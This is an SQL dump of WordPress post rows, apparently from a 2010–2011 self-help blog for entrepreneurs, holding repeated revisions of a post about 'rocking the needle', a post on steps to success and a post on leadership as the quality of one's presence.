(1458, 2, '2011-01-03 06:58:58', '2011-01-03 13:58:58', '<a href="http://whc.fbdev.org/wp-content/uploads/2011/01/meter.gif"><img class="alignnone size-full wp-image-1435" title="meter" src="http://whc.fbdev.org/wp-content/uploads/2011/01/meter.gif" alt="rock the needle in 2011" width="259" height="229" /></a>\r\n<h2>It''s my belief 2011 will be the year when many entrepreneurs rock the needle in realizing their business and life goals. I know it will be for me.  With every action you take towards the goals you’ve set for yourself this year, ask yourself this question before you move one muscle, “will this rock the needle?”</h2>\r\nI think one of the most frustrating things to experience is to realize all you’ve been doing is getting ready to get ready. This is worse than procrastination– and it’s a waste of valuable mental and physical energy!\r\n\r\nDo you recognize any of these getting-ready-to-get-ready activities?\r\n\r\n<strong>- doing more and more research.\r\n- perfecting your plan, your product idea, your presentation.\r\n- tweaking your website / blog / portfolio / resume.</strong>\r\n\r\nNone of these activities will move the needle one bit toward making your vision materialize. For that to happen, you must, at last, be out there connecting with people, contributing your value, building trust–long before they will ever be your customers or clients.\r\n\r\nDo you recognize any of these rock the needle activities?\r\n\r\n<strong>- sending that email, making that phone call, going to that conference\r\n- introducing yourself to as many off-line people as you can.\r\n- introducing yourself to as many online people as you can.\r\n- finding opportunities to contribute your value to people first.\r\n- building new partnerships, alliances and collaborations.\r\n- supporting and nurturing and elevating your “community” .</strong>\r\n\r\nI know what your thinking to yourself– and the answer to that question is “hell yes it’s scary, risky, perhaps even foolish to do what is really necessary in the physical world to make sh*t happen!”\r\n<h2><span style="color: #808080;">For real stuff to happen, real stuff has to get done. </span></h2>\r\nYou can prepare, research and tweet until hell freezes over, but if you’re not connecting your value (the quality of your presence) with more people who want to exchange their money for it, you’re not rocking the needle hard enough for the universe to co-create what’s necessary for your desired results to materialize.\r\n\r\nRemember too–doing the real stuff shouldn’t feel like a chore. (Unless of course, you don’t have any clarity or confidence to know want you want.) Do everything necessary in an easy and relaxed way. When you do, you’ll experience everything that is the opposite of work!  You’ll feel the exhilaration of the momentum you are building each time you rock the needle by doing only the things that get you that much closer to achievement.\r\n<h2><span style="color: #808080;">Stop getting ready to get ready! Ready or not, start rocking the meter in 2011!</span></h2>\r\n<strong>Happy New Year! I wish you all inspired success in 2011.</strong>', '2011: Rock the needle!', 0, '', 'inherit', 'open', 'open', '', '1434-revision-23', '', '', '2011-01-03 06:58:58', '2011-01-03 13:58:58', '', 1434, 'http://www.whitehotcenter.com/2011/01/03/1434-revision-23/', 0, 'revision', '', 0),
(1460, 2, '2011-01-03 07:07:19', '2011-01-03 14:07:19', '<a href="http://whc.fbdev.org/wp-content/uploads/2011/01/meter.gif"><img class="alignnone size-full wp-image-1435" title="meter" src="http://whc.fbdev.org/wp-content/uploads/2011/01/meter.gif" alt="rock the needle in 2011" width="259" height="229" /></a>\r\n<h2>It''s my belief 2011 will be the year when many entrepreneurs rock the needle in realizing their business and life goals. I know it will be for me.  With every action you take towards the goals you’ve set for yourself this year, ask yourself this question before you move one muscle, “will this rock the needle?”</h2>\r\nI think one of the most frustrating things to experience is to realize all you’ve been doing is getting ready to get ready. This is worse than procrastination– and it’s a waste of valuable mental and physical energy!\r\n\r\nDo you recognize any of these getting-ready-to-get-ready activities?\r\n\r\n<strong>- doing more and more research.\r\n- perfecting your plan, your product idea, your presentation.\r\n- tweaking your website / blog / portfolio / resume.</strong>\r\n\r\nNone of these activities will move the needle one bit toward making your vision materialize. For that to happen, you must, at last, be out there connecting with people, contributing your value, building trust–long before they will ever be your customers or clients.\r\n\r\nDo you recognize any of these rock the needle activities?\r\n\r\n<strong>- sending that email, making that phone call, attending that conference.\r\n- introducing yourself to as many off-line people as you can.\r\n- introducing yourself to as many online people as you can.\r\n- finding opportunities to contribute your value to people first.\r\n- building new partnerships, alliances and collaborations.\r\n- supporting and nurturing and elevating your “community” .</strong>\r\n\r\nI know what your thinking to yourself– and the answer to that question is “hell yes it’s scary, risky, perhaps even foolish to do what is really necessary in the physical world to make sh*t happen!”\r\n<h2><span style="color: #808080;">For real stuff to happen, real stuff has to get done. </span></h2>\r\nYou can prepare, research and tweet until hell freezes over, but if you’re not connecting your value (the quality of your presence) with more people who want to exchange their money for it, you’re not rocking the needle hard enough for the universe to co-create what’s necessary for your desired results to materialize.\r\n\r\nRemember too–doing the real stuff shouldn’t feel like a chore. (Unless of course, you don’t have any clarity or confidence to know want you want.) Do everything necessary in an easy and relaxed way. When you do, you’ll experience everything that is the opposite of work!  You’ll feel the exhilaration of the momentum you are building each time you rock the needle by doing only the things that get you that much closer to achievement.\r\n<h2><span style="color: #808080;">Stop getting ready to get ready! Ready or not, start rocking the meter in 2011!</span></h2>\r\n<strong>Happy New Year! I wish you all inspired success in 2011.</strong>', '2011: Rock the needle!', 0, '', 'inherit', 'open', 'open', '', '1434-revision-25', '', '', '2011-01-03 07:07:19', '2011-01-03 14:07:19', '', 1434, 'http://www.whitehotcenter.com/2011/01/03/1434-revision-25/', 0, 'revision', '', 0);
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(1461, 2, '2011-01-03 07:07:32', '2011-01-03 14:07:32', '<a href="http://whc.fbdev.org/wp-content/uploads/2011/01/meter.gif"><img class="alignnone size-full wp-image-1435" title="meter" src="http://whc.fbdev.org/wp-content/uploads/2011/01/meter.gif" alt="rock the needle in 2011" width="259" height="229" /></a>\r\n<h2>It''s my belief 2011 will be the year when many entrepreneurs rock the needle in realizing their business and life goals. I know it will be for me.  With every action you take towards the goals you’ve set for yourself this year, ask yourself this question before you move one muscle, “will this rock the needle?”</h2>\r\nI think one of the most frustrating things to experience is to realize all you’ve been doing is getting ready to get ready. This is worse than procrastination– and it’s a waste of valuable mental and physical energy!\r\n\r\nDo you recognize any of these getting-ready-to-get-ready activities?\r\n\r\n<strong>- doing more and more research.\r\n- perfecting your plan, your product idea, your presentation.\r\n- tweaking your website / blog / portfolio / resume.</strong>\r\n\r\nNone of these activities will move the needle one bit toward making your vision materialize. For that to happen, you must, at last, be out there connecting with people, contributing your value, building trust–long before they will ever be your customers or clients.\r\n\r\nDo you recognize any of these rock the needle activities?\r\n\r\n<strong>- sending that email, making that phone call, attending that conference.\r\n- introducing yourself to as many off-line people as you can.\r\n- introducing yourself to as many online people as you can.\r\n- finding opportunities to contribute your value to people first.\r\n- building new partnerships, alliances and collaborations.\r\n- supporting and nurturing and elevating your “community” .</strong>\r\n\r\nI know what your thinking to yourself– and the answer to that question is “hell yes it’s scary, risky, perhaps even foolish to do what is really necessary in the physical world to make sh*t happen!”\r\n<h2><span style="color: #808080;">For real stuff to happen, real stuff has to get done. </span></h2>\r\nYou can prepare, research and tweet until hell freezes over, but if you’re not connecting your value (the quality of your presence) with more people who want to exchange their money for it, you’re not rocking the needle hard enough for the universe to co-create what’s necessary for your desired results to materialize.\r\n\r\nRemember too–doing the real stuff shouldn’t feel like a chore. (Unless of course, you don’t have any clarity or confidence to know want you want.) Do everything necessary in an easy and relaxed way. When you do, you’ll experience everything that is the opposite of work!  You’ll feel the exhilaration of the momentum you are building each time you rock the needle by doing only the things that get you that much closer to achievement.\r\n<h2><span style="color: #808080;">Stop getting ready to get ready! Ready or not, start rocking the meter in 2011!</span></h2>\r\n<strong>Happy New Year! I wish you all inspired success in 2011.</strong>', '2011: Rock the needle!', 0, '', 'inherit', 'open', 'open', '', '1434-revision-26', '', '', '2011-01-03 07:07:32', '2011-01-03 14:07:32', '', 1434, 'http://www.whitehotcenter.com/2011/01/03/1434-revision-26/', 0, 'revision', '', 0),
(1462, 2, '2011-01-03 07:07:45', '2011-01-03 14:07:45', '<a href="http://whc.fbdev.org/wp-content/uploads/2011/01/meter.gif"><img class="alignnone size-full wp-image-1435" title="meter" src="http://whc.fbdev.org/wp-content/uploads/2011/01/meter.gif" alt="rock the needle in 2011" width="259" height="229" /></a>\r\n<h2>It''s my belief 2011 will be the year when many entrepreneurs rock the needle in realizing their business and life goals. I know it will be for me.  With every action you take towards the goals you’ve set for yourself this year, ask yourself this question before you move one muscle, “will this rock the needle?”</h2>\r\nI think one of the most frustrating things to experience is to realize all you’ve been doing is getting ready to get ready. This is worse than procrastination– and it’s a waste of valuable mental and physical energy!\r\n\r\nDo you recognize any of these getting-ready-to-get-ready activities?\r\n\r\n<strong>- doing more and more research.\r\n- perfecting your plan, your product idea, your presentation.\r\n- tweaking your website / blog / portfolio / resume.</strong>\r\n\r\nNone of these activities will move the needle one bit toward making your vision materialize. For that to happen, you must, at last, be out there connecting with people, contributing your value, building trust–long before they will ever be your customers or clients.\r\n\r\nDo you recognize any of these rock the needle activities?\r\n\r\n<strong>- sending that email, making that phone call, attending that conference.\r\n- introducing yourself to as many off-line people as you can.\r\n- introducing yourself to as many online people as you can.\r\n- finding opportunities to contribute your value to people first.\r\n- building new partnerships, alliances and collaborations.\r\n- supporting and nurturing and elevating your “community” .</strong>\r\n\r\nI know what your thinking to yourself– and the answer to that question is “hell yes it’s scary, risky, perhaps even foolish to do what is really necessary in the physical world to make sh*t happen!”\r\n<h2><span style="color: #808080;">For real stuff to happen, real stuff has to get done. </span></h2>\r\nYou can prepare, research and tweet until hell freezes over, but if you’re not connecting your value (the quality of your presence) with more people who want to exchange their money for it, you’re not rocking the needle hard enough for the universe to co-create what’s necessary for your desired results to materialize.\r\n\r\nRemember too–doing the real stuff shouldn’t feel like a chore. (Unless of course, you don’t have any clarity or confidence to know want you want.) Do everything necessary in an easy and relaxed way. When you do, you’ll experience everything that is the opposite of work!  You’ll feel the exhilaration of the momentum you are building each time you rock the needle by doing only the things that get you that much closer to achievement.\r\n<h2><span style="color: #808080;">Stop getting ready to get ready! Ready or not, start rocking the meter in 2011!</span></h2>\r\n<strong>Happy New Year! I wish you all inspired success in 2011.</strong>', '2011: Rock the needle!', 0, '', 'inherit', 'open', 'open', '', '1434-revision-27', '', '', '2011-01-03 07:07:45', '2011-01-03 14:07:45', '', 1434, 'http://www.whitehotcenter.com/2011/01/03/1434-revision-27/', 0, 'revision', '', 0),
(1463, 2, '2011-01-03 07:23:08', '2011-01-03 14:23:08', '<a href="http://whc.fbdev.org/wp-content/uploads/2011/01/meter.gif"><img class="alignnone size-full wp-image-1435" title="meter" src="http://whc.fbdev.org/wp-content/uploads/2011/01/meter.gif" alt="rock the needle in 2011" width="259" height="229" /></a>\r\n<h2>It''s my belief 2011 will be the year when many entrepreneurs rock the needle in realizing their business and life goals. I know it will be for me.  With every action you take towards the goals you’ve set for yourself this year, ask yourself this question before you move one muscle, “will this rock the needle?”</h2>\r\nNothing is more frustrating than to realize all you’ve been doing is getting ready to get ready. This is worse than procrastination– and it’s a waste of valuable mental and physical energy!\r\n\r\nDo you recognize any of these getting-ready-to-get-ready activities?\r\n\r\n<strong>- doing more and more research.\r\n- perfecting your plan, your product idea, your presentation.\r\n- tweaking your website / blog / portfolio / resume.</strong>\r\n\r\nNone of these activities will move the needle one bit toward making your vision materialize. At some point, your actions need to produce results. For that to happen, you must, at last, be out there connecting with people, contributing your value, building trust–long before they will ever be your customers or clients.\r\n\r\nDo you recognize any of these rock the needle activities?\r\n\r\n<strong>- sending that email, making that phone call, attending that conference.\r\n- introducing yourself to as many off-line people as you can.\r\n- introducing yourself to as many online people as you can.\r\n- finding opportunities to contribute your value to people first.\r\n- building new partnerships, alliances and collaborations.\r\n- supporting and nurturing and elevating your “community” .</strong>\r\n\r\nI know what your thinking to yourself– and the answer to that question is “hell yes it’s scary, risky, perhaps even foolish to do what is really necessary in the physical world to make sh*t happen!”\r\n<h2><span style="color: #808080;">For real stuff to happen, real stuff has to get done. </span></h2>\r\nYou can prepare, research and tweet until hell freezes over, but if you’re not connecting your value (the quality of your presence) with more people who want to exchange their money for it, you’re not rocking the needle hard enough for the universe to co-create what’s necessary for your desired results to materialize.\r\n\r\nRemember too–doing the real stuff shouldn’t feel like a chore. (Unless of course, you don’t have any clarity or confidence to know want you want.) Do everything necessary in an easy and relaxed way. When you do, you’ll experience everything that is the opposite of work!  You’ll feel the exhilaration of the momentum you are building each time you rock the needle by doing only the things that get you that much closer to achievement.\r\n<h2><span style="color: #808080;">Stop getting ready to get ready! Ready or not, start rocking the meter in 2011!</span></h2>\r\n<strong>Happy New Year! I wish you all inspired success in 2011.</strong>', '2011: Rock the needle!', 0, '', 'inherit', 'open', 'open', '', '1434-revision-28', '', '', '2011-01-03 07:23:08', '2011-01-03 14:23:08', '', 1434, 'http://www.whitehotcenter.com/2011/01/03/1434-revision-28/', 0, 'revision', '', 0),
(1464, 2, '2011-01-03 07:23:19', '2011-01-03 14:23:19', '<a href="http://whc.fbdev.org/wp-content/uploads/2011/01/meter.gif"><img class="alignnone size-full wp-image-1435" title="meter" src="http://whc.fbdev.org/wp-content/uploads/2011/01/meter.gif" alt="rock the needle in 2011" width="259" height="229" /></a>\r\n<h2>It''s my belief 2011 will be the year when many entrepreneurs rock the needle in realizing their business and life goals. I know it will be for me.  With every action you take towards the goals you’ve set for yourself this year, ask yourself this question before you move one muscle, “will this rock the needle?”</h2>\r\nNothing is more frustrating than to realize all you’ve been doing is getting ready to get ready. This is worse than procrastination– and it’s a waste of valuable mental and physical energy!\r\n\r\nDo you recognize any of these getting-ready-to-get-ready activities?\r\n\r\n<strong>- doing more and more research.\r\n- perfecting your plan, your product idea, your presentation.\r\n- tweaking your website / blog / portfolio / resume.</strong>\r\n\r\nNone of these activities will move the needle one bit toward making your vision materialize. At some point, your actions need to produce results. For that to happen, you must, at last, be out there connecting with people, contributing your value, building trust–long before they will ever be your customers or clients.\r\n\r\nDo you recognize any of these rock the needle activities?\r\n\r\n<strong>- sending that email, making that phone call, attending that conference.\r\n- introducing yourself to as many off-line people as you can.\r\n- introducing yourself to as many online people as you can.\r\n- finding opportunities to contribute your value to people first.\r\n- building new partnerships, alliances and collaborations.\r\n- supporting and nurturing and elevating your “community” .</strong>\r\n\r\nI know what your thinking to yourself– and the answer to that question is “hell yes it’s scary, risky, perhaps even foolish to do what is really necessary in the physical world to make sh*t happen!”\r\n<h2><span style="color: #808080;">For real stuff to happen, real stuff has to get done. </span></h2>\r\nYou can prepare, research and tweet until hell freezes over, but if you’re not connecting your value (the quality of your presence) with more people who want to exchange their money for it, you’re not rocking the needle hard enough for the universe to co-create what’s necessary for your desired results to materialize.\r\n\r\nRemember too–doing the real stuff shouldn’t feel like a chore. (Unless of course, you don’t have any clarity or confidence to know want you want.) Do everything necessary in an easy and relaxed way. When you do, you’ll experience everything that is the opposite of work!  You’ll feel the exhilaration of the momentum you are building each time you rock the needle by doing only the things that get you that much closer to achievement.\r\n<h2><span style="color: #808080;">Stop getting ready to get ready! Ready or not, start rocking the meter in 2011!</span></h2>\r\n<strong>Happy New Year! I wish you all inspired success in 2011.</strong>', '2011: Rock the needle!', 0, '', 'inherit', 'open', 'open', '', '1434-revision-29', '', '', '2011-01-03 07:23:19', '2011-01-03 14:23:19', '', 1434, 'http://www.whitehotcenter.com/2011/01/03/1434-revision-29/', 0, 'revision', '', 0),
(1465, 2, '2011-01-03 07:29:47', '2011-01-03 14:29:47', '<a href="http://whc.fbdev.org/wp-content/uploads/2011/01/meter.gif"><img class="alignnone size-full wp-image-1435" title="meter" src="http://whc.fbdev.org/wp-content/uploads/2011/01/meter.gif" alt="rock the needle in 2011" width="259" height="229" /></a>\n<h2>It''s my belief 2011 will be the year when many entrepreneurs rock the needle in realizing their business and life goals. I know it will be for me.  With every action you take towards the goals you’ve set for yourself this year, ask yourself this question before you move one muscle, “will this rock the needle?”</h2>\nNothing is more frustrating than to realize all you’ve been doing is getting ready to get ready. This is worse than procrastination– and it’s a waste of valuable mental and physical energy!\n\nDo you recognize any of these getting-ready-to-get-ready activities?\n\n<strong>- doing more and more research.\n- perfecting your plan, your product idea, your presentation.\n- tweaking your website / blog / portfolio / resume.</strong>\n\nNone of these activities will move the needle one bit toward making your vision materialize. At some point, your actions need to produce results. For that to happen, you must, at last, be out there connecting with people, contributing your value, building trust–long before they will ever be your customers or clients.\n\nDo you recognize any of these rock the needle activities?\n\n<strong>- sending that email, making that phone call, attending that conference.\n- introducing yourself to as many off-line people as you can.\n- introducing yourself to as many online people as you can.\n- finding opportunities to contribute your value to people first.\n- building new partnerships, alliances and collaborations.\n- supporting and nurturing and elevating your “community” .</strong>\n\nI know what your thinking to yourself– and the answer to that question is “hell yes it’s scary, risky, perhaps even foolish to do what is really necessary in the physical world to make sh*t happen!”\n<h2><span style="color: #808080;">For real stuff to happen, real stuff has to get done. </span></h2>\nYou can prepare, research and tweet until hell freezes over, but if you’re not connecting your value (the quality of your presence) with more people who want to exchange their money for it, you’re not rocking the needle hard enough for the universe to co-create what’s necessary for your desired results to materialize.\n\nRemember too–doing the real stuff shouldn’t feel like a chore. (Unless of course, you don’t have any clarity or confidence to know want you want.) Do everything necessary in an easy and relaxed way. When you do, you’ll experience everything that is the opposite of work!  You’ll feel the exhilaration of the momentum you are building each time you rock the needle by doing only the things that get you that much closer to achievement.\n<h2><span style="color: #808080;">Stop getting ready to get ready! Ready or not, start rocking the meter in 2011!</span></h2>\n<strong>Happy New Year! I wish you all inspired success in 2011.</strong>', '2011: Rock the needle!', 0, '', 'inherit', 'open', 'open', '', '1434-autosave', '', '', '2011-01-03 07:29:47', '2011-01-03 14:29:47', '', 1434, 'http://www.whitehotcenter.com/2011/01/03/1434-autosave/', 0, 'revision', '', 0),
(1466, 2, '2011-01-03 07:25:55', '2011-01-03 14:25:55', '<a href="http://whc.fbdev.org/wp-content/uploads/2011/01/meter.gif"><img class="alignnone size-full wp-image-1435" title="meter" src="http://whc.fbdev.org/wp-content/uploads/2011/01/meter.gif" alt="rock the needle in 2011" width="259" height="229" /></a>\r\n<h2>It''s my belief 2011 will be the year when many entrepreneurs rock the needle in realizing their business and life goals. I know it will be for me.  With every action you take towards the goals you’ve set for yourself this year, ask yourself this question before you move one muscle, “will this rock the needle?”</h2>\r\nNothing is more frustrating than to realize all you’ve been doing is getting ready to get ready. This is worse than procrastination– and it’s a waste of valuable mental and physical energy!\r\n\r\nDo you recognize any of these getting-ready-to-get-ready activities?\r\n\r\n<strong>- doing more and more research.\r\n- perfecting your plan, your product idea, your presentation.\r\n- tweaking your website / blog / portfolio / resume.</strong>\r\n\r\nNone of these activities will move the needle one bit toward making your vision materialize. At some point, your actions need to produce results. For that to happen, you must, at last, be out there connecting with people, contributing your value, building trust–long before they will ever be your customers or clients.\r\n\r\nDo you recognize any of these rock the needle activities?\r\n\r\n<strong>- sending that email, making that phone call, attending that conference.\r\n- introducing yourself to as many off-line people as you can.\r\n- introducing yourself to as many online people as you can.\r\n- finding opportunities to contribute your value to people first.\r\n- building new partnerships, alliances and collaborations.\r\n- supporting and nurturing and elevating your “community” .</strong>\r\n\r\nI know what your thinking to yourself– and the answer to that question is “hell yes it’s scary, risky, perhaps even foolish to do what is really necessary in the physical world to make sh*t happen!”\r\n<h2><span style="color: #808080;">For real stuff to happen, real stuff has to get done. </span></h2>\r\nYou can prepare, research and tweet until hell freezes over, but if you’re not connecting your value (the quality of your presence) with more people who want to exchange their money for it, you’re not rocking the needle hard enough for the universe to co-create what’s necessary for your desired results to materialize.\r\n\r\nRemember too–doing the real stuff shouldn’t feel like a chore. (Unless of course, you don’t have any clarity or confidence to know want you want.) Do everything necessary in an easy and relaxed way. When you do, you’ll experience everything that is the opposite of work!  You’ll feel the exhilaration of the momentum you are building each time you rock the needle by doing only the things that get you that much closer to achievement.\r\n<h2><span style="color: #808080;">Stop getting ready to get ready! Ready or not, start rocking the meter in 2011!</span></h2>\r\n<strong>Happy New Year! I wish you all inspired success in 2011.</strong>', '2011: Rock the needle!', 0, '', 'inherit', 'open', 'open', '', '1434-revision-30', '', '', '2011-01-03 07:25:55', '2011-01-03 14:25:55', '', 1434, 'http://www.whitehotcenter.com/2011/01/03/1434-revision-30/', 0, 'revision', '', 0),
(1470, 2, '2011-01-18 12:32:41', '2011-01-18 19:32:41', '<img class="alignnone size-full wp-image-1471" title="ladder of success" src="http://whc.fbdev.org/wp-content/uploads/2011/01/ladder.gif" alt="" width="441" height="369" />\r\n<h1><span style="color: #808080;">In the process of climbing your ladder of success, you can easily feel overwhelmed.  When you do, focus your creative energy on these essential steps for realizing your next level of growth and success.</span></h1>\r\n<strong>There’s nothing sexy or complicated about these timeless principals  for extraordinary performance and achievement. When you’re feeling  stuck, get yourself focused on the discipline to master the basics of  playing a bigger game and making quantum leaps in your progress. Start with what’s at  hand and from where you stand. Which of these essential ingredients are  already present in you? Which of these require more of your focus and  attention</strong>?\r\n\r\n<strong>Be the greatest.</strong>\r\nI remember how I marveled at the iconic Mohammed Ali constantly proclaiming “I am the greatest!”  Long before he was the greatest, he knew that in order for him to experience and demonstrate his greatness, he had to stay standing in the ring and take the punishing punches from a bunch of other great fighters. He played big! His burning desire to be the greatest prizefighter ever was far more powerful than his fear and doubt that he might not be the greatest.  And so it is with you in your business. Whatever your industry or profession, stand in your greatest and share it every day!\r\n\r\nCommit yourself to your greatness and settle for nothing less. Being the greatest means knowing that there is no end to your learning, growth and capability to attract the best opportunities simply through the quality of your presence. Every moment in your life presents a choice to be great, or to be safe and cozy in the slush pile.\r\n\r\n<strong>Create a compelling vision, then a real plan.</strong>\r\nNo progress is made without a compelling vision and a master plan. And one is no good without the other. Know what you want, commit to making it happen no matter what, and believe you can achieve it.  Wishing won’t get it done. You need a plan. The best way to design a plan is to put your compelling vision in writing.  A written vision is the first particle of matter towards its realization.\r\n\r\nAnd while you’re at it, make sure your thinking is bigger than the thinking that has brought you to your current reality. I’d like to suggest that instead of being content with planning gradual, conventional progress, your plan should facilitate rapid, radical moves several stages above where you’re at now. Plan for a breakthrough– design your quantum leap!\r\n\r\n<strong>Create products and services that create new value.</strong>\r\nThere’s no more room in the marketplace for me-too anything. Innovate products and services that are an equal reflection of your own unique greatness. You can’t experience quantum leaps in your success if you offer products and services that are the same as everybody else.\r\n\r\nYour purpose in business is to innovate new value in the marketplace, not compete for the value that has already been created.  To paraphrase Steve Jobs “put your own dent in the universe”.\r\n\r\n<strong>Bake in the marketing.</strong>\r\nYour offerings must represent an ideal that is highly valued by the best customers in your marketplace. The only way to do this is by uniquely positioning your value proposition above and beyond the features, benefits and utility of your products and services. Your best customers don’t really care about having more product features that work well. Everything works well these days! They expect that!  That’s not enough for you to have competitive advantage and command premium prices.\r\n\r\nTo create demand for what you offer, bake the marketing into its creation and delivery. Customers must have trust and confidence that what you represent will elevate their life circumstances and alleviate their pain first. It’s always about them and never you.\r\n\r\n<strong>Be a Closer.</strong>\r\nNothing happens until you have a paying customer. Converting prospects to customers requires being trusted and respected– still not enough to turn a relationship into cash. All Closers have a very well defined sales process that removes every buyer objection all along the complete buying cycle. At each step, Closers strengthen the foundation of the business relationship long before any money is involved.\r\n\r\nAnd once money has changed hands, Closers never allow their customers to experience buyer’s remorse for very long. Closers remove all fear and doubt and reinforce belief that they are the best choice.  Closers are value creators not order-takers. Are you a Closer?\r\n\r\n<strong>Work with the best people.</strong>\r\nWhen you’re the greatest at whatever it is that you do, why settle for less than the best when choosing who your partners, employees and collaborators will be? For you to take a quantum leap in your progress, it’s essential you attract and retain the greatest talent to help you achieve your goals.  Your greatness attracts in equal measure other great people who what to hang with you and help you be successful.  Partner with people who are operating at higher genius levels in areas where you are weak.\r\n\r\nLet great people do the great work they’re meant to do by forming a team that is a force multiplier for the success of all concerned. Rugged individualism is a boat anchor on the ship of progress.\r\n\r\n<strong>Create experiences people love.</strong>\r\nAt the end of the day, all success in business is based on love. Serving your customers by elevating their life experience is how you demonstrate your caring and love for them. Always deliver on your promise and then some.  In every activity, the most successful entrepreneurs always provide more use value than they receive in cash value.\r\n\r\nEnlightened entrepreneurs who lead markets shift their focus from counting transactions to innovating scintillating, dramatic, novel, relevant, transformative experiences that people love– and love to share with others.\r\n\r\n<strong>\r\n</strong>', 'Essential steps for realizing your next level of growth and success!', 0, '', 'publish', 'open', 'open', '', 'essential-steps-for-realizing-your-next-level-of-growth-and-success', '', '', '2011-01-18 12:32:41', '2011-01-18 19:32:41', '', 0, 'http://www.whitehotcenter.com/?p=1470', 0, 'post', '', 0),
(1469, 1, '2010-12-27 15:53:48', '2010-12-27 22:53:48', '<img class="alignnone size-full wp-image-1059" title="presence" src="http://whc.fbdev.org/wp-content/uploads/2010/09/presence.gif" alt="" width="450" height="341" />\r\n<h2>As a creative entrepreneur, you already know how vitally important it is to be an effective and well-respected leader– one who is recognized for your mastery. Your level of mastery is always displayed through the quality of your presence.</h2>\r\n<strong> </strong>\r\n\r\nRecently, at a small conference I attended, I heard speaker, author and thinker <a href="http://www.stewartemery.com/" target="_blank">Stewart Emery</a> define “leadership” as nothing more and nothing less than “the quality of your presence”.  I immediately fell in love with the beautiful simplicity of this idea. Rather than thinking about leadership as a bunch of attributes, characteristics and behaviors, this definition resonated with me in a profound way. This elegant phrase perfectly packaged what I have been pushing around in my mind lately–mainly that enduring leadership transcends perceived levels of status, power or influence.\r\n\r\n<strong>The Quality of Your Presence.</strong>\r\n\r\nAs a creative entrepreneur and solo professional, you already know how vitally important it is to your success that you be an effective and well-respected leader– one who is recognized for your mastery. Your level of mastery is always displayed through the quality of your presence.\r\n<h1><span style="color: #808080;">The quality of your presence begins within you, deeply anchored in your sub-conscious beliefs about who you are, and what you are capable of.</span></h1>\r\n<h1><span style="color: #808080;">\r\n</span></h1>\r\nIf you’re stuck at a certain level of “leadership quality” in your personal and professional life, and you know you want a higher level of experience, it’s a good idea to develop the habit of thinking much better of yourself, your ideas and visions, your capability to create value, and the direction of your future. You must honestly believe and trust your own greatness within! When you trust this belief, you are automatically elevated into a leadership role–lighting your own way forward!\r\n\r\nPeople who believe they are destined for greater life experiences, have a point of view that is always future-based, yet they are entirely present. They only take from the past that which will serve them (and others) in the new future they are joyously creating. They demonstrate their personal leadership by the quality of their own thoughts, which in turn, manifests into the quality of their presence. These are the folks who lead by elevating the life experience of all they come into contact with. These people light the way for others by their own example. These leaders inspire others to believe more in their own capability and promise than in the evidence of their current limitations.  For these types of people, their leadership is disguised as service and never based in their status, power or ability to control others. Indeed, they have always been counted the few among us.\r\n\r\nSpeaking for myself, I aspire daily to this notion of leadership. When I experience the high quality of another''s presence, I am reminded I could not recognize it in them if it were not already present within me.  This inspires me to keep moving, growing and expanding toward living and leading the life experience I desire. It’s also a great reminder of the type of people I want to hang with.\r\n\r\n<strong> </strong>\r\n\r\n<strong>Do what matters to you and serves others.</strong>\r\n\r\nIf you want to lead through the quality of your presence, you have to be engaged in ideas and activities that truly matter to you. To create value, not only must you do what matters to you, but what matters to you must serve the good of others. In serving the good of others, you lead by the quality of your presence.\r\n\r\nTake a moment to assess where you''re at. You can start with your physical presence, do you display health, vitality and well-being? In your business, are your products and services of the highest quality? Do your clients or customers value your mastery to an extent they gladly pay a premium for them? In your relationships, do you matter to people? Are you adding to the world by contributing your talent and gifts in a manner that reflects the quality of your presence?\r\n\r\n<strong>You, and you alone, determine the quality of your presence. Leadership is a choice you make about the quality of your life, not a role you play.</strong>', 'Leadership = the quality of your presence.', 0, 'You, and you alone, determine the quality of your presence. Leadership is a choice you make about the quality of your life, not a role you play.', 'inherit', 'open', 'open', '', '1058-revision-17', '', '', '2010-12-27 15:53:48', '2010-12-27 22:53:48', '', 1058, 'http://www.whitehotcenter.com/2010/12/27/1058-revision-17/', 0, 'revision', '', 0),
(1471, 2, '2011-01-18 11:53:56', '2011-01-18 18:53:56', '', 'ladder of success', 0, '', 'inherit', 'open', 'open', '', 'ladder', '', '', '2011-01-18 11:53:56', '2011-01-18 18:53:56', '', 1470, 'http://www.whitehotcenter.com/wp-content/uploads/2011/01/ladder.gif', 0, 'attachment', 'image/gif', 0),
(1487, 2, '2011-01-18 12:19:25', '2011-01-18 19:19:25', '<img class="alignnone size-full wp-image-1471" title="ladder of success" src="http://whc.fbdev.org/wp-content/uploads/2011/01/ladder.gif" alt="" width="441" height="369" />\n<h1><span style="color: #808080;">In the process of climbing your ladder of success, you can easily feel overwhelmed.  When you do, focus your creative energy on these essential steps for realizing your next level of growth and success.</span></h1>\n<strong>There’s nothing sexy or complicated about these timeless principals  for extraordinary performance and achievement. When you’re feeling  stuck, get yourself focused on the discipline to master the basics of  playing a bigger game and making quantum leaps. Start with what’s at  hand and from where you stand. Which of these essential ingredients are  already present in you? Which of these require more of your focus and  attention</strong>?\n\n<strong>Be the greatest.</strong>\nI remember how I marveled at the iconic Mohammed Ali constantly proclaiming “I am the greatest!”  Long before he was the greatest, he knew that in order for him to experience and demonstrate his greatness, he had to stay standing in the ring and take the punishing punches from a bunch of other great fighters. He played big! His burning desire to be the greatest prizefighter ever was far more powerful than his fear and doubt that he might not be the greatest.  And so it is with you in your business. Whatever your industry or profession, stand in your greatest and share it every day!\n\nCommit yourself to your greatness and settle for nothing less. Being the greatest means knowing that there is no end to your learning, growth and capability to attract the best opportunities simply through the quality of your presence. Every moment in your life presents a choice to be great, or to be safe and cozy in the slush pile.\n\n<strong>Create a compelling vision, then a real plan.</strong>\nNo progress is made without a compelling vision and a master plan. And one is no good without the other. Know what you want, commit to making it happen no matter what, and believe you can achieve it.  Wishing won’t get it done. You need a plan. The best way to design a plan is to put your compelling vision in writing.  A written vision is the first particle of matter towards its realization.\n\nAnd while you’re at it, make sure your thinking is bigger than the thinking that has brought you to your current reality. I’d like to suggest that instead of being content with planning gradual, conventional progress, your plan should facilitate rapid, radical moves several stages above where you’re at now. Plan for a breakthrough– design your quantum leap!\n\n<strong>Create products and services that create new value.</strong>\nThere’s no more room in the marketplace for me-too anything. Innovate products and services that are an equal reflection of your own unique greatness. You can’t experience quantum leaps in your success if you offer products and services that are the same as everybody else.\n\nYour purpose in business is to innovate new value in the marketplace, not compete for the value that has already been created.  To paraphrase Steve Jobs “put your own dent in the universe”.\n\n<strong>Bake in the marketing.</strong>\nYour offerings must represent an ideal that is highly valued by the best customers in your 